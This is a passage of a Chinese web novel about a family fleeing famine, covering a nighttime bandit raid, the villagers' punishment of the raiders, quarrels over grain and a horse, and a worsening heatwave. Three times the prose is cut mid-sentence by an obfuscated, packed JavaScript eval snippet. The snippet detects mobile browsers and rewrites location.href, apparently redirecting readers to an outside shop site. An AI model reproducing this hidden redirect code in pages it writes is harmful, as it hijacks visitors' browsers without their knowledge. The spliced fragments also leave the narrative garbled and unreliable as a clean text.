她做得少,但平时少有喝这个的时候,应该还剩的有。 “可以,配点饼子或是馒头,刚好。”宁妈笑眯眯看向宁爸。 宁爸:“我想吃凉拌菜!” “去去去,别捣乱!”宁妈锤他一下,“在家的时候忘记做凉拌菜了,现在上哪给你弄凉拌菜去。” 宁爸嘿嘿笑,赵宁宁说:“我去焯水,把调料拿出来,你在车厢里调调味。” “那也行。”宁妈合计道:“你俩拆棚子,我俩去准备吃的。” “行!”宁爸和赵启去把刚才搭起来的棚子给拆开,所用的床单子和棍子,宁爸给单独缠起来,拴在车顶上。 以后恐怕还会有其他搭棚子的机会,放一起下一次要搭的时候就不用再手忙脚乱了。 这另一边,赵宁宁和宁妈回到骡车上,宁妈帮赵宁宁守着门,赵宁宁钻回空间,先把热水给烧上,再从空间里取出西瓜,摆在案板上,切成一块一块的,方便待会吃。 切完西瓜,她又从空间的冰箱里拿了几样宁爸爱吃的青菜,其中就有菠菜,宁爸最爱这一口。 青菜洗净,锅里的水也差不多烧开了。 赵宁宁家凉拌菜的时候还喜欢加点粉丝进去,她先将细细的粉丝放进去两块,煮得差不多之后,捞出来放在冰水里,再下青菜,稍微烫一下,青菜也捞出来放冰水里。 两样都冰过之后,赵宁宁用笊篱把它们捞出来沥水,沥干之后,端出去交给宁妈。 宁妈的空间里放着之前从宁宁空间里倒腾出来的调料,都不用宁宁再拿。 这会轮到宁妈进车厢,赵宁宁在车厢门口守着了。 宁爸和赵启收好棚子,过来问:“怎么样了?” “马上好马上好!”赵宁宁拍拍胸口,“待会你们先吃。” 宁爸点头,中午时间紧急,都是赵宁宁她们仨在停车休息前先吃,宁爸最后吃的,到晚饭的时候,才能轮流去吃。 不多时,宁妈把车厢的门闩打开,让宁爸和赵启去吃饭。 赵宁宁要回空间去拿西瓜,进到车厢时便闻到一股浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229760|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁的肉香,再一看,小桌板上摆了四只猪蹄,两碗汤,一大盘子凉拌菜。 今天晚上真丰盛。 赵宁宁回到空间里去,把切好的西瓜端出一半出来,给宁爸他们放在小桌板上。 宁爸吃着凉拌菜,支支吾吾说不出声,赵宁宁拉开门闩,出来后又把车厢门关好,别让味道窜出去。 “你饿不饿?饿的话先去吃?”宁妈见宁宁出来,让她坐在自己手边的位置。 赵宁宁摇摇头。 下午刚到水潭这边的时候,家里还加餐了呢,这会她还不饿。 凉拌菜里,还有赵宁宁特意留下来的碎冰,一筷子夹下去,酸、辣、香同时涌入口腔,还有一股凉意,等吃完之后,通体舒爽。 再看那猪蹄,经过两个小时的卤制,胶状的肉颤巍巍地扒在骨头上面,拿起一只,轻轻一抿肉就在嘴里化开,肉香和香料的味道在唇齿间翻涌。 一口肉一口饼,再来一口酸爽开胃的汤,宁爸出车厢的时候,差点要扶着车门出去。 轮到赵宁宁和宁妈去吃,赵宁宁端出另外半盘西瓜,宁妈重新摆好了吃食,两人不着急去换班,慢慢地夹菜吃菜。 只啃了一只猪蹄赵宁宁就饱了,她揉着肚子,只恨自己的胃太小,以前可是一口气能吃得下三个猪蹄呢! 最后喝半碗汤溜溜缝,赵宁宁象征性夹了一筷子凉菜,便快快乐乐去吃西瓜了。 夏天,就是要吃西瓜啊! 只可惜这西瓜买的只有半个,因为冰箱放不下,要是有一整个西瓜就好了…… 吃完之后,赵宁宁抱着肚子躺下,什么瓜皮菜叶,她完全不想回去收拾了。 她现在,只想晕乎乎地睡觉。 见赵宁宁她们好一会没出来,宁爸轻轻敲敲车厢门,宁妈坐着,伸手去够门闩,把门打开。 赵宁宁睡着了,她正在给孩子打扇子。 宁爸一眼便瞧见,笑呵呵地帮她们把车厢门敞开一些,又把车窗打开,这样一对流,夜间的风能把车厢里的闷热带走。 虽然凉快不到哪里去,但晚上好歹比白天强多了。 等到该睡觉的时候,按照老规矩,孩子睡里面,大人睡外面。 可能是吃得太撑,宁爸躺在棚子下的木板上,翻来覆去有点睡不着。 抬头看一眼媳妇和孩子们,又抬头看看拴在一边已经休息的骡子,宁爸把头放下,扯扯身上盖的被单,准备好好酝酿一下睡意。 刚闭上眼没多久,宁爸便听到一阵窸窸窣窣的声音。 开始他还以为是风声,直到一声不甚清晰的“咔擦”声传来,宁爸本来摇摆的睡意顿时全无。 ——有动静? 他睁开眼,凝神屏气地仔细听,夏夜的热风,吹来的不止有树叶摩擦的簌簌声,竟然还有——马蹄的声音?! ——就是马蹄! 人走路时会注意避开脚下的枯枝,但马可不会! 宁爸借着车厢的遮掩悄悄起身,摇醒车厢最边上睡着的宁妈。 等宁妈醒,宁爸把食指放在嘴边,提醒她别说话,他用气音小声说:“有人来。” 宁妈看看外面,又点点头,她起身,从空间里摸出防身用的柴刀,坐在车厢门口。 宁爸悄悄从车厢上滑下去,借着遮掩,往里正那边看。 里正白天说要让人值守,如今正在商议章成。 商量的差不多,夜色也深了,他把火堆捅旺一些,添两根柴进去,起身去睡觉。 火堆旁边,留下了两个里正家和村长家的年轻人。 想着刚才听到的动静,不似里正那边传来的,宁爸仗着天黑,悄悄摸到里正车厢旁边,小声喊:“里正、里正!” 正准备躺下的里正听到动静,警觉起来,在看到是赵老二之后,里正悬起的心放下,问道:“怎么了?” “我刚才正准备睡,突然听到外围有脚步声。”宁爸说:“不像是一个人的。” ——外围?脚步声?! 里正心里发毛,他也不睡了,一骨碌起来,正准备多喊几个人去看看怎么回事时,外面传来一声惨叫。 “糟了!”宁爸一拍大腿,有外人过来了! 第36章 夜袭 那声音传来的方位,正是自家在的位置! 顾不得里正,宁爸小步穿过队伍,回到自家车厢旁边,不等他近身,车厢外围了一圈人,宁妈站在车上,一手舞着柴刀,虎虎生风。 她脚下已经倒下两个偷袭的汉子了,天太黑,宁爸也看不清他们的伤势,只能赶快过去支援。 “兰香!” “我没事,给你!”宁妈头也没回,站在车头上,假装从车厢里摸东西,实则从空间里拿出一把大刀,丢给宁爸。 这大刀是后面赵启自己研究打铁,辛苦了十来天才打出来,开好刃的,宁妈试了试嫌太轻,她让小启给她把柴刀磨薄一点,再重新开好刃,用得十分得心应手。 宁爸结果刀,直接加入战场。 这边的人看他们两个手里都有武器,一副不好对付的样子,后面的直接往别处跑,去找软柿子捏。 队伍里,里正拿着大锣,铛铛铛死命在敲,一边敲一边喊:“有敌人!有敌人!” 铜锣的声音惊起一大片村民,有些警醒的,一骨碌从草席上爬起来,拎着手边的农具警惕四周。 不警醒的,夜袭而来的人直接上前去,伸手便把他们绑在车上的东西扯下来。 不少人在东西扯走之后才醒过来,看到队伍里一片乱状,拍着大腿坐在原地哭嚎。 宁爸宁妈守在车边,周剑他们隔了一辆车,在另一边,宁妈凑空看了一眼,或许是因为这边被打怕的缘故,这块地方暂时没有人过来。 **持续了半刻钟,半刻钟后,村长带着一队李家的年轻人,把这群人给全抓了起来。 队伍里燃起篝火,照得四处亮堂堂的,怕他们留后手,几个年轻汉子围着四周的林子走了一圈,除了几匹马以外,没有别的发现。 “说!你们是怎么找到我们的!” 里正开始审讯,那里面几个汉子愣是没一个人吭声。 “你去拿鞭子过来。”村长吩咐儿子,李斯回到自家马车上,麻溜地把马鞭给拿来,村长拿到手里,直接甩开,一鞭子向那群人身上抽去。 其中一个汉子挨了鞭子之后,怒目而视道:“你!你们竟然敢动用私刑抽打我们良民!” “良民?”里正气笑,“你们半夜偷袭我们队伍,按照大周朝律令,应该**的!” “再说,现在什么年份,上哪给你找主持公道的县令去。” 那汉子咬牙切齿,村长手中动作不停,又是几鞭子下去,鲜红的血直接顺着他裂开的衣裳渗到外面。 有一个忍不住疼痛,呲牙咧嘴地喊:“我说!我说!” 村长手里动作暂停。 “我们今天遇见你们队伍,走了没多久后,我们停下来休息。” 那汉子娓娓道来。 原来是今天中午遇到的逃荒队伍,他们分开之后继续往前走,休息一阵子后,还未见王李村的队伍过来。 有几个有马的汉子便留意起来,磨叽了一会,都过了中午休息的时候还没见到队伍的影子。 几人便合计:那个队伍肯定有情况! 要么他们粮食充足,不急着赶路,要不他们……找到了水源! 几人商量一番,决定骑马掉头去找,果然!在原来见面的地方,没再见到队伍。 前面没人,掉头往回走基本不可能,最有可能便是还在这附近。 于是他们就沿着这片林子找,找了一下午,就在他们想要放弃的时候,看到了篝火的光芒。 等到夜深,看着队伍的人睡得差不多,他们才开始动手。本想着找软柿子捏,偷偷地抢几家的粮食,要是万一被发现就跑,没想到他们第一个下手的、带车厢的骡车便是个硬柿子。 听完,围观的村民一人一口唾沫过去。 自己队伍不想着好好找水源,反倒打起他们队伍的主意! 要真是被他们得逞,今天不知得损失多少粮食和水,本来就不多! 尤其是这水,要不是今天找到水潭,一整个村子都要断水了! 村长听完,又抽他们十来遍子才停手,李斯把鞭子收起来,在泥沙地里蹭蹭,把上面的血蹭掉。 这几人被绑在树上,村长里正挑人去守着,又临时安排几个平日里在村子里很会来事儿的汉子,今夜在队伍落脚电动周围来回巡逻。 里正开始清点队伍里受伤的人数。 这几个夜袭的人手里有两把柴刀,一把被宁妈打掉在地,那群人跑的时候不敢回头去捡,另一把被领头的拿着,村民发现东西被偷时反抗,被他砍伤好几个。 伤得最重的一个,是席老头家的二儿子。 他被人开了瓢,一个硕大的刀口从后脑勺连到耳根,血汩汩往外冒。 这群陌生人刚被抓到时,村里的大夫便赶紧去给他撒上金疮药包扎起来,这会子席二顺直挺挺地躺在地上,双眼紧闭着。任凭席老头如何拍打都没有回应。 离得近的村民,可惜地看着他们,心想:这下席二顺怕是不太好了。 除了席二顺,其他汉子们伤得都稍微轻一些。 去迎战的几个汉子也多多少少受了一些伤,好在伤口不深,村里的大夫看完你的看他的,看完他的看你的,跑得满头是汗,帮衬着给他们医治。 给受伤的人包的差不多,里正喊来村民,过来认领自己被抢的包裹。 刚才趁乱,这些人偷拿了不少东西,抓住他们时一同收缴上来了,此时堆成一团。 包袱还好说,各家都有各家的包袱皮,粮袋子可就不好认了。 毕竟各家粮袋子都是用普通的粗麻袋子装,除了磨损后打补丁的,其他的都长得差不多。 只有粮食多少的区别。 认到最后,还剩四家认不出。 席老头盯着地上的粮食袋子,眼一转,颤巍巍地过去,拨开人群,指着地上粮食最多的那袋子问:“这是我家的!” “这是你家的?”里正问,“那你说说里面放的什么粮食。” 各家袋子里放的各家的粗粮,粗粮也有很多种,有的会放糙米,有的会放小米,还有放豆子的。 这个袋子从外面看,看不出里面装的是哪种粮食,但从袋子的缝线处看—— 席老头大声说:“这里头,装的是粗面!” 里正当着众人的面打开袋口一看,立即合上。 “这不是你们家的。” “怎么可能!”席老头坐在地上撒泼,“我们家就这一袋粮食!我记得清清楚楚的,你、你是不是想昧下这袋粮食!好叫我们家饿死!” 听到这话,里正满头黑线,“什么叫我昧下?刚才在场那么多人,都能说出来这里面是什么,怎么到你,你却说错了!” 说着,他喊来一个看热闹的村民,打开袋子让他往里看看,村民看了一眼,说:“嘿——还真是。” 他抬头:“席老头,你可真**道,不是你的就不是你的,你怎么能睁眼说瞎话呢!” “你!你跟里正一起坑我!”席老头指着那个汉子,“可怜我家二顺!为了拦住贼人,被贼人给砍了——现在,连你们也要欺负我!” 说着,他便要前去,竟然想伸手去抢夺这个袋子。 “你!”里正错身挡住袋子,那赵老头挨着里正,顺势往地上一躺,干嚎起来他那可怜的二儿子。 站在外面看热闹的赵宁宁看到这一幕,不禁噗嗤一笑,宁妈会意,小声说了两个字。 “碰瓷。” “席老头,不对吧?今天下午我还看见你从你家粮食袋子里舀粮食出来,我怎么记得,你家袋子就剩个底儿了?” 有好事的村民在一边补充:“对啊!前几天席老头家的袋子就剩一半的粮食了,怎么这袋子是聚宝盆,粮食越吃越多啊?” “去去去!”席老头挥手,“谁跟你说我们家就只有一袋子粮食的!这是另一袋!一直绑在底下的!” “这个袋子……是我家的。” 人群中,一个女娃小声地说。 看到是一个小娃儿过来,席老头眼中精光一闪,“小丫头,你家大人不在,你可不能胡乱认啊!” “我没有胡乱认!”王小花说:“这就是我家的袋子!” 里正和蔼地问她:“那你说,这袋子里装的是什么。” “这袋子里装的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229761|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是粮食。”王小花说:“装的是……我们家的被子。” 里正点头,把袋子打开一个口,露出里面的被子。 现在天热,晚上根本盖不到,临出发前,王小花她娘把被子叠吧叠吧,四处找袋子装,最后用两个鸡蛋,问村里换来一个装过粗面的袋子。 也顾不得脏不脏,反正用的时候拍一拍便能盖。 因为被子盖得时间久,里面的棉絮都压实打绺了,看上去松松散散的,从袋子外面看,真有点像是一袋子粮食。 里面,也真有粮食,只不过粮食被被子包裹着,且只有一小袋,这是家里藏起来,保命的。 袋子里装的东西,跟王小花说的一致,里正见没有其他人来认领,做主把这个袋子还给王小花家。 席老头把一袋子棉被当粮食抢的行为,顿时好笑起来。 在同村人此起彼伏的笑声里,他灰溜溜地跑远了。 剩下几个袋子很快被认领走,连席老头家只剩了个底的袋子,也被里正交给村民,让村民帮着捎带回去。 剩下便是“战利品”。 这群夜袭的人共有八个,骑了五匹马过来,他们身上还带着干粮,里正做主,把干粮分出一半,拿给今夜抓贼人的汉子们。 剩下五匹马,里正留下一匹,给赵宁宁家分一匹,其他当场拍卖起来。 经过这几天的长途跋涉,好些个家里只有板车,纯靠人力的村民都后悔不迭当时没有咬牙买一只牲畜。 眼下有机会,家里钱够用的,直接上去交钱,挑走了三匹里面看上去最精神的那个。 只剩下两匹马了! 村里人顿时焦灼起来,实在是买不起的,只能眼巴巴瞧着,羡慕别人。 有两家钱不多,又有架子车的,一合计,一起掏钱买,你一天我一天的赶车,等到了府城用不着马的时候,再卖掉,银子还平分。 好,又一匹马被挑走了! 只剩下一只看上去有些瘦弱的马,一直没人肯要。 正在里正想着把这匹马养一养用来拉“战利品”的时候,老赵家的人过来。 赵老头掏出还没捂热的银子,说:“里正,我们要买!” “但是,你得给便宜一些。”赵老头挑拣,“这匹马要比之前的瘦!” 里正都无奈了,看了一眼,确实偏瘦,但还没到皮包骨的程度,别人都是按照市价三十两买的,凭什么给赵老头家便宜? “你想便宜多少?”里正好声好气地问,要是便宜二三两,那倒也不是不能谈一下。 “二、二十!不、十两!十两银子!” 赵老头伸出个二,又收回手指。 他这个操作,让一圈人都惊呆了。 里正直接拉着缰绳就走,“都回去睡下吧,今夜安排了值夜的,早些睡下,明天还要赶路。” 里正一走,赵老头急了,他可不想再走路了,他也要坐马车! “里正!别走啊,二十两就二十两!” 闻言,里正走得更快,赵老头在后面追着喊,最后喊到二十五两,他停下脚步,“二十八两。” “行……二十八两就二十八两。”赵老头忍痛拿出银子,里正称了之后,把多余的退给他。 缰绳交给赵老头,算是银货两讫。 赵老头带着瘦马回去。 钱婆子一看,愣住,问道:“不是去买马吗?怎么这马这副德行?” “别提了。”赵老头摆手,“只有这个了。” 钱婆子又急又气,“怎么能选这个呢?!花了多少?” “二十八。” “那不行,这马放在平时,二十五两都卖不到,走,我们去找里正理论理论,花二十八两银子买的,必须得给咱们换一个好马!” “理论啥呀。”赵老头拦住她,“已经没有别的马了。” “不是有五匹马吗?!”钱婆子问:“难道都被买走了?” 村里谁还能如此财大气粗? “不是,里正留了一匹,还有一匹说是得亏赵老二提醒,给他们了。” 剩下两匹的去处,赵老头也说了。 但钱婆子脑子里只有:给老二家了。 第37章 加速前进 “不行,我得找村长去说说去。”钱婆子从赵老头手里夺过缰绳,牵着就往里正那边走。 里正都歇下了,被迫喊起来,一看是钱婆子牵着缰绳,忍着一肚子气问:“老赵家的,你牵着马过来是?” “里正!你也太不近人情了,怎么能把这瘦马卖给我们!”钱婆子痛心疾首,“明明有好马,偏给我们这只!” 是赵老头太磨叽,前面好马都被人挑走了,这匹马虽然瘦一些,好好养着,拉个架子车是不碍事的。 “那你想?”里正抛出钩子,钱婆子立马上钩,顺杆道:“你不是给老二家白送了一只马吗?把那只给我们换一下,他们有骡子,又用不到马,你送给他们干啥!” 里正直接被她的话给气到愣住。 白送? 那是看在宁爸第一时间察觉到危险,过来通风报信的份上送的。 更不用说,周兰香第一时间就砍翻了一个带着武器的汉子,又打倒了一个,剩下六个溃不成军,王李村的村民才能这么快给人抓起来。 “你回去吧,我要睡觉了。”里正实在是不知道该怎么跟钱婆子掰扯,他感觉,跟钱婆子讲道理是没用的。 “里正,里正!你得为我们做主啊!”钱婆子去拉扯他,里正媳妇从一边窜出来,拦住她,“哎哎哎!钱婶子。” 她道:“可不兴动手动的啊,你们家是赵老头撵着我们家男人出钱买下的这匹马,你要找,回家去找你男人去。” 钱婆子放下手,不死心仍想着胡搅蛮缠,不想里正直接钻进车厢,竟不出来了。 这下,钱婆子只能再把马牵回去,同时还带着一肚子气。 第二天,宁爸牵着马,想法子把马也套车上。 这下子,就算一家子都坐在车上,车上再多负重一些东西,一匹马和一批骡子也能拉得动。 旁边的村民看见,无不羡慕宁宁家的,但里正昨天也说了,多亏宁爸警醒,发现有异状之后第一时间通知村里人,要不是他,村里人不知道会有多少受伤的。 大都是羡慕赵宁宁家的,除了钱婆子,还有席老头。 钱婆子愤愤地把瘦马给套在车上,昨夜去换马,被里正晾一边的仇她还记着呢。 席老头则是想着:他家二顺都伤成这样了,里正都没想着把一匹马留给他们家,反倒是赵宁宁家,两个大人两个孩子跟没事儿人一样,还能白得一匹好马! 席老头还想闹,村里大夫过来给二顺换药,老头暂且老实下来,他儿子要想好,还要靠村里给治,里正可是说了,昨天晚上因为抵抗贼人而受伤的人家,药费他来出。 这个便宜不占白不占。 检查了二顺头上的伤,大夫说:“昨夜没有高热,伤口也没发红,养养,过几天就能好了。” “大夫,那他怎么还不醒?”席老头关心道:“他不是没啥事吗?” 大夫都想给他翻白眼了,伤口没事不代表其他地方没事,他刚才号脉,席二顺的脉象弱得差点摸不出来。 大夫:“他身子虚,这几天多给他喝点稀粥,要是有肉,给他吃一些。” 给他吃粥?!他也配吃粥?贼人来的时候,他连粮食袋子都没看到,他吃个屁! 席老头心里想着,脸上带着谄笑把大夫送走。 一转头,二儿媳带着俩孩子正拿沾湿的布巾在给二顺擦脸。 “谁让你们浪费水的!”席老头骂:“也不看看现在是什么光景,前两天一口水都没得喝,你们倒好,还拿水洗脸!” “爷爷,这个布巾是我拿到水潭边上洗的……”席小丫弱弱道。 “你还学会顶嘴了!”席老头吹胡子瞪眼,一巴掌扇过去,二儿媳抱着女儿挡在前面。 他可以打孙女,却不好直接打儿媳,老头讪讪收手,哼了一声,到旁边吃饭去了。 ——一家子废物! 各家都在做早饭吃早饭的时候,里正把各家的人都喊一个到水潭边上,一是打水,待会就要走了,二是宣布一件事: “从今夜起,各家出一个汉子,两人一组,分两组,每天晚上在咱们落脚点附近巡逻巡逻,以防昨夜的事再出现。” 这事关乎大家的小命,没有不同意的。 里正按照一家一户的分,家里没有汉子的,暂且越过。 王李村共有四十二户人,其中有三户人家留在村里,没来逃荒,剩下的全跟上来了。 其中王小花家,只有她和她娘两人,还有一家,家里男人都不在了,只有老娘和儿媳相依为命。 第三家,老娘前些年去世,只剩下老头和带着新媳妇的儿子。 第四家,是周家,寡母带着儿子,周剑还不够年纪。 第五家,只有一个拉架子车的老头在。 除去这几家情况特殊的,其他家里至少都有一个汉子,里正排好顺序,从今夜起,他先让自家孩子带着,等村里人熟悉之后,再让他们自己去值守巡逻。 打好水,吃过早饭,众人把东西都收拾好,该放车上放车上,该背着背着,由里正带着队伍,继续往前走。 临出发前,村长特意去看了那几个汉子,被绑在树上滴水不进了一夜,他们个个都蔫巴得很,看有人过来,他们赶忙求饶。 村长压根不理会他们,检查绳子栓得还算牢固,他才离开。 今天早上,里正他俩商量这群人该怎么处理。 按照律令,他们抢人钱财又**,应该是要判**的,可现在……不夸张地说,县衙都不知道还有没有人在,带着他们上路还要管他们吃喝。 要是把他们放走,村里受了伤的人家绝对不会同意,杀了他们……里正下不去手。 村长提议,就把他们拴在树上,是死是活全凭天意。 队伍缓缓前行,留下八个口干舌燥的贼人,随着太阳的升起,他们越来越热。 车队中。 赵宁宁一家有了马来拉车,骡子身上的担子轻了不少,这马应该是被人训练过的,赶起来特别听指挥。 宁爸觉得新鲜,一直要坐在车头赶车。 里正暂时留着的那匹马,被他们先养着,身上只背了两个水桶,马儿轻松得意。 村里花钱买马的那家人,终于能松口气,他们东西多,全绑在架子车上,怕马吃力没人去坐车,只能扶着车栏跟在后面走。 即使是这样,也比前几天自己苦哈哈拉车要轻松多了,妇人还有心情和丈夫说笑。 合买马车那两家今天也轻松不少,因为昨天和今天打水把水桶装满了,两家商量,把重的东西放在一起让马拉着,剩下东西人力轮流去拉另一辆架子车。 这分法两家都没意见,他们是邻居也是发小,从小感情就不错,这次买马也是两家一起提出来的。 最后是老赵家。 老赵家出村的时候把家里的锅碗瓢盆全带上了,路上拉不动车的时候,丢了一些碗筷,装水的木桶却都留着。 昨天和今天,他们把水桶都打满了水,现在全搁在车上,整辆架子车都沉重无比。 瘦马在前面,颤颤巍巍地走。 有人看到这马累成这样,好心提醒钱婆子:别把马累坏了。 钱婆子不听,马买来就是干活的,难道要当祖宗供起来?其他几家不也在车上拉了一堆东西?! 她不仔细看,人家车上东西堆的虽然高,却不重,更不用说别人的马健康,他们早上还特意搜罗了马能吃的草,临出发前还给马儿饮足水。 他们的马拉起车来自然够劲儿。 好心提醒钱婆子的村民不但没得到一声谢,还被钱婆子翻了白眼,气呼呼地往前走了。 钱婆子不但让马拉东西,自己还坐在架子车前头,曹柔安见状,扶着肚子也闹着要坐车。 这几日她经常以肚子不舒服为由要去坐车,老三帮忙拉车的时候,她更是光明正大地坐在上面。 没道理家里买了马还不让她坐车的。 闹了一通,钱婆子还是让这个孙媳妇挨着坐在自己旁边了,毕竟她肚子里还怀着孩子,这孩子一出生,自己就能当太奶了! 看着车上坐着的两人,赵慧兰低下头。 她也想坐车。 可是她跟娘闹过之后,反而被娘打了一巴掌。 这是她自出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229762|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生以来,第一次挨打。 凭什么大嫂一个外人都能坐车,身为赵家的亲孙女的她,却不能坐?! 赵慧兰双手揉着衣角,走路没注意看地,一个趔趄,绊了一跤。 孙氏在旁边扶住她,轻骂了一句:“好好走路!” 赵慧兰点头,站好继续走路。她心里想:有法子了!只不过今日不行,明日,最迟明日,她也要坐上马车! 这一上路,车队一直到午时初才休息,天气太热,里正说一直休息到未时初再走。 中午有充足的时间休息,赵宁宁把骡子和马都给解下来,宁爸提来水桶喂它们喝水,宁妈在准备中午吃的,赵启在帮忙看着车厢门和车上的东西。 休息没多久,官道上下来一波人。 想到昨天发生的事,里正很是警惕。 不过这波人同样警惕,他们隔得远远地,挑了一块地方停下,丝毫没有过来搭腔的意思。 里正这才放下心,招呼边上的村民注意着点,回到队伍里去。 吃过饭,众人在原地休息。 旁边那队人见到这边没有去打扰他们的意思,逐渐业放心下来,中午的林间静悄悄的,只有蝉鸣声在聒噪。 赵宁宁给几人装了**,让他们各自抱着,自己坐在车头,给他们守着。 她中午不困,等会上路还可以回空间补觉,所以能休息的时候,赵宁宁都先紧着他们几个。 丝丝凉意顺着**传到怀里,赵宁宁靠在车厢上,放空脑袋。 正在这时候,官道上又下来一队人,看到这里已有两队,他们小心翼翼地避开,到林子深处,这才开始休息。 今天怎么这么多人?赵宁宁疑惑。 同样的疑惑也萦绕在里正心里。 昨天只是遇到了一波人,今天竟然遇到两波……难道是后面其他县的人,都开始逃荒了? 那他们队伍得赶紧赶路了,不然到时候……乱起来,后面的人可不想今天这样,能够井水不犯河水。 想到这,不等未时,里正便把大家伙给喊起来,继续赶路。 走在路上,宁爸打着哈欠问:“怎么感觉午觉时间一眨眼就过去了,我还没睡够呢。” “提前出发了。”赵宁宁说,“后面不是又来一队人吗?我看里正远远地瞧了几眼,没多会他就喊村里人起来赶路了。” “后面人越多,就越乱,里正想的是对的,咱们得加紧赶路,不然……”宁妈收住话头,没继续往下说。 赵宁宁会意。后面的可不一定能像王李村这样,不但有食物,还有水。他们行走在逃荒的队伍里,跟香饽饽没什么区别。 万一碰到一队心思不正的,直接攻击王李村的队伍……那可就危险了。 赵宁宁没说啥,回去电梯厅,把她的大刀和**又往趁手的地方挪了挪。 一直走到晚上,看到后面没有人,里正才吩咐两个儿子下官道去找休息的地方。 王修奉找到一处平地,这里视野开阔,周围有个什么风吹草动,都能看到。 他们实在是被昨夜的动静给吓到了。 挑好落脚的地方,各家把车停好,开始准备晚上吃的东西。 早上和中午赶路着急,何氏晚上才有空做吃的。 今天打的也有水,留好解下来的路要喝的,她揉了一盆面,做了一锅软和的发面饼子。 面饼子有厚度,双面烙得金黄,中间掰开软乎乎的,夹菜吃正正好。 宁妈见她端来饼子,立马就要回车厢去空间拿香辣猪肉条出来,何氏一看她的动作,碗也不要赶快走了。 搞得赵宁宁哭笑不得。 宁妈白她一眼,把肉条连碗一起塞赵宁宁的手里,“你去给她们送去。” 接下这个“重担”,赵宁宁不得不端着肉过去,她直接塞周剑手里,撒腿就跑。 两家这样客气,把她一个小孩子夹在中间算什么。 就着新做的饼子和肉条,宁妈又掏出一碗煮汤圆,一家人晚饭又吃了一个肚儿圆。 吃饱喝足之后,宁爸缓缓用抹布擦着小桌板,“真舒服……要是能在家里就更舒服了。” 第38章 蝗灾 以前吃完饭,消完食,往沙发上一躺看电视。 之前觉得平淡的生活,现在看来,是遥不可及的幸福。 赵宁宁没接他的话茬,绑定系统也有一年多了,按照系统提示来推断,“没有权限”等于之后能开通权限,否则就是“禁止进入”了。 或许,等到家里的房间全部解锁的那天,自己一家人就都可以进去了…… 今天晚上,王修奉带着两个村里的汉子值守。 这块地方宽阔没有遮挡,他们便不用走太远,结伴在队伍附近走走。 每隔一会便去走一圈,直到天亮,村里也没发生什么意外。 两个汉子回家休息,家里人抱怨:这晚上明明没个什么事,还非让你们去守夜,这不纯折磨人呢吗! 一夜不睡,白天又要赶路,精神能好吗! 明事理一些的汉子斥责一声,让家里人不要再抱怨。 另一个则是搂着自家媳妇,顺着抱怨的话说。 这样又走了两天,第十二天的时候,王李村的队伍不断被其他逃荒队伍赶超。 里正抹抹头上的汗,抬头看看天上的太阳。 总觉得,最近几天越来越热了。 第十三天,队伍正缓慢前行着,忽然有一个汉子直直地往地上栽。 他旁边的家人吓了一跳,眼疾手快地扶着,靠在车上。 大夫过去看看,说是热中暑了。 离午时还有一会,里正让孩子下官道,找了一块容得下队伍的空地,让大家过去休息。 “好热啊!”赵宁宁从空间来回进出,每一次都觉得热浪扑面。 那灼热的温度,几乎能把她的脸给烫熟。 宁妈擦擦额间的汗,“是好热,感觉像进到火炉里了一样。” “太难捱了!!”宁爸叹气,他坐在车头赶车,热风一阵阵从他面前拂过,即便是抱着**,人也快要中暑了。 如果不是还在队伍里,他真想穿个老头背心和短裤在这赶车。 “可能是天灾升级了?”赵宁宁说:“高温和干旱都是相随而来的。” “有可能。”宁妈掂掂手里的**袋子,里面的冰水哗啦啦地响。 之前灌一壶冰块进去,下午才会化成水。 今天才到中午,**的冰就化光了。 化掉的冰水也不浪费,赵宁宁放到桶里,温度差不多时还能拿出去喂马儿和骡子喝。 又装几壶冰拿出去,刚到外面,手上“啪”地撞来一只飞虫。 赵宁宁吓一跳,还以为是哪里来的知了,赶快从手上拨开。 “怎么了?”宁妈从车厢出来问,“快进来,准备吃饭了。” “没事,刚才一只虫飞过来了。”赵宁宁把**塞给宁爸,钻车厢里先去吃午饭。 今天天热,宁妈没拿热食出来吃,拿的是路上赵宁宁提前煮好的面条,面条被提前用冰水冰过,放空间再拿出来,还跟刚做好的一样。 再把提前准备好的料汁和焯过水的蔬菜,最后再把宁宁喜欢的番茄片放上去一拌,一碗清爽的凉面便做好了。 赵宁宁胃口小,宁妈就没给她拿其他肉,只给她拌凉面的时候加了一把卤牛肉片。 两母女吃完,去替换外头的父子两人进去吃。 赵宁宁抱着**,心里叹气:“早知道冰箱会刷新,就再冰箱里冻上几个大冰块,这样车厢里也能放一些,就没那么热了。” 宁妈:“想什么呢,能有如今的际遇就已经很不错了。” 